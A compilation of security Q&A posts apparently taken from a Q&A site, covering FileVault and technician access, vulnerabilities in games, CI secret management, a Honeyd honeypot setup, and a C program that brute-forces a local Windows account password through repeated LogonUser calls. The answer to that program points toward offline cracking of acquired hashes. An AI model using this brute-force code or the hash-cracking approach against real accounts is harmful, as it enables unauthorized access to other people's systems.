"Why don't you run NMap yourself and report back to me if you run into issues?"

  Where exactly is this blocked?

At the router /access point. Specifically the MAC forwarding table.

  I am pretty sure its not possible

Based on what result? We can pitch in much better if you share your research.

  When the wireless Access point block my host from connecting to any other IP on the same wi-fi network ?

Only when you speak unicode. It hates unicode.


On Mac OSX using FileVault 2, are all user's files unencrypted if the current user has rights to login from cold boot up? I am taking my Macbook into an Authorized Service Provider to run diagnostics on battery performance and my data is encrypted using FileVault 2. I am assuming the technician(s) will want the ability to login.

If I create a user account for them that will be enabled to decrypt the drive, how easy is it at that point to access data from another user account?

This is a common misunderstanding of the purpose of full disk encryption (FDE). It's job is to protect from an offline attack, where the disk is removed and connected to another computer.

If your computer is turned on, then FDE is no longer doing anything to protect your disk. At this point, you are being protected by the Mac's operating system's access controls, not FileVault.

Those aren't bad, although of course if the technical account needs admin rights to run the diagnostic tool...

Finally, as ever, there is immutable law #3 to consider: "If a bad guy has unrestricted physical access to your computer, it's not your computer anymore."

You'll have to evaluate your threat model. What are the risks? What do you fear the technician might do, and what would that cost you? Based on this you can work out what will make the risk acceptable. For example:

If the risk is low, then your plan to create a separate account should be fine.

If your risk is high, then a safer approach is to wipe the hard drive before bringing it in, then restoring your sensitive data afterwards.

If your risk is very high, then you'll just have to not get your machine serviced.


Do video games on Windows have vulnerabilities? You always hear about zero day vulnerabilities in Chrome, Skype, Zoom, Office, VLC, etc. But you never hear about vulnerabilities in video games (like popular multiplayer titles Fortnite or League of Legends) that hackers can use to perform remote zero day attacks on your machine.

Is playing video games like Fortnite or League of Legends in a public network totally safe and I do not need to worry about remote buffer overflow vulnerability attacks on those games?

Yes, they can have vulnerabilities. Some gaming companies, such as Riot, have a page where you can report vulnerabilities.

Actual examples of vulnerabilities: Fortnite has been vulnerable to account takeover and man-in-the-disk (not on Windows, though). Untitled Goose Game had an RCE flaw.


I want to deploy from GitLab to AWS - so where exactly do I store my private key? This seems like an odd and simple question, but I'm trying to get my head around the principle of "never check a private key into version control".

I'm trying to build a startup of sorts, where clients have private/separate deployments based on a common platform.

To manage all of this the code for each client will be stored in a private GitLab repository (stored on GitLab.com), and will then be deployed to Amazon Web Services to handle deployment and scalability. I'm hoping to scale this up to a large number of clients so automation is key.

I've come up with a number of scenarios each with pros/cons but all fall astray of the "no private keys" in repos problem.

Use GitLab pipelines/runners to test the code and then deploy to production... except to do this the GitLab runner will require access to AWS which requires a private key. And the key will be in all client repos.
Make each AWS deployment periodically poll for updates, download from the GitLab repo and install the updates... except to do this AWS script will require access to GitLab which requires a private key.
Make a management system which handles deployments of code from GitLab to AWS... but still requires private keys to both. Fortunately the keys are only in one place.

Assuming the GitLab repository is private and only accessible by myself (or eventually trusted employees) how do you go about actually having continuous integration between private services?

What you're facing here is the problem of secret management. It's kind of a big question mark in cloud architecture. The advice to never store secrets in version control is sound. It's just kind of hard to make that happen sometimes.

Some ways forward:

Gitlab has a notion of secrets. This is a way for the CI server to
maintain keys in a way where they're not in the repo but are
available to the deployment tasks. Cloud providers also support creating restricted keys which can do only one specified task. I recommend doing that instead of using root or admin credentials.
There is also a notion of release keys. Keys which are specialized to
a server and authorized only to pull new code for that project.
The major Cloud providers also offer secure secret management. It might
be worth deploying around a hosted secret management system.
Or deploy your own secure secret store something like Hashicorp Vault for very fine-grained control of secrets.


How to make an efficient bruteforce attack on Windows? I've been trying to figure out a way to efficiently bruteforce on Windows, but the method I currently have isn't very efficient. I did some profiling and found out that on average it can go through 274,080 attempts per minute, which would amount to a worst case scenario of 18 hours to crack one 6 character password with no special characters. Is there a way to attack more efficiently than this?

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <math.h>

#define WIN_32_LEAN_AND_MEAN
#define _WIN32_WINNT 0x0501
#include <windows.h>

#define USERNAME "Johnny"
#define LENGTH 6
#define MINIMUM 'a'
#define MAXIMUM 'z'

double NumberOfPermuationsOfString( int length, char minimum, char maximum )
{
    return pow( ( maximum - minimum ) + 1, length );
}

FORCEINLINE int NextPermutation( char ** buffer, const size_t length, char minimum, char maximum )
{
    int i = 0;

    for ( i = length - 1; i >= 0; --i )
    {
        if ( ( *buffer )[i] != maximum )
        {
            ++( *buffer )[i];
            return 1;
        }
        else
            ( *buffer )[i] = minimum;
    }

    return 0;
}

int Bruteforce( char ** buffer, const size_t length, char minimum, char maximum )
{
    size_t result = FALSE;
    size_t i = 0;
    HANDLE htoken = INVALID_HANDLE_VALUE;

    timerMod( TIMER_START );

    do
        result = LogonUser( USERNAME, ".", *buffer, LOGON32_LOGON_NETWORK, LOGON32_PROVIDER_DEFAULT, &htoken );
    while ( !result && NextPermutation( buffer, length, MINIMUM, MAXIMUM ) );

    if ( !result ) return 0;

    CloseHandle( htoken );
    return 1;
}

int main( )
{
    char * buffer = malloc( LENGTH + 1 );

    if ( !buffer )
        showStandardError( "Allocating memory", TRUE );

    memset( buffer, 0, LENGTH + 1 );
    memset( buffer, MINIMUM, LENGTH );

    printf( "Bruteforcing with %0.lf password permuations...\n", NumberOfPermuationsOfString( LENGTH, MINIMUM, MAXIMUM ) );

    if ( Bruteforce( &buffer, LENGTH, MINIMUM, MAXIMUM ) )
    {
        printf( "Success! Password : %s\n", buffer );
        return 0;
    }
    else
        return 1;

    return 0;
}

It looks like you're performing an "online" attack, in which case the speed at which you can work is limited by how fast your target computer is willing to respond to login attempts.  Since your code isn't (or at least, shouldn't be) the limiting factor, there's nothing you can do to speed up the attack.

If you can acquire the password hashes, you can perform an "offline" attack, in which case the speed with which you can try passwords is limited only by how much computing power you're able to use for the job.


Honeyd Isn't Detecting Loud Scans I've got the Honeyd honeypot in one virtual machine (kali) and nmap in another (ubuntu), the config file looks like this:

create default
set default default tcp action closed
set default default udp action closed
set default default icmp action open

create windows
set windows personality "Microsoft Windows XP Professional SP1"
set windows default tcp action open
set windows default udp action open
set windows default icmp action closed
add windows tcp port 21 "sh scripts/unix/linux/ftp.sh"
add windows tcp port 135 open
add windows tcp port 139 open
add windows tcp port 445 open

set windows ethernet "00:0c:38:8d:8c:17"
dhcp windows on eth0

... Then i'm running honey as sudo honeyd -f <my config file> -l <my log> -p nmap-os-db -a nmap.assoc -0 pf.os -x xprobe2.conf -d

When i perform scans i get some results:

I get some UDP and ARP detection but no SYN scan detection or anything else.

The scans I'm doing are quite aggressive ones too:

nmap <ip> -sT -A -O

Yet it picks up nothing? - and the OS is not detected properly.

Can anyone spot my mistake? - The OS detection is not working its saying there are too many results and all 1000 scanned ports are coming back as filtered.

After much head banging I found the problem was with the VirtualBox software, Honeyd requires you be able to go into promiscuous mode.

By default VirtualBox does not allow this, you have to go into your virtual machine network settings and "allow all" from the promiscuous mode dropdown box, then it works fine!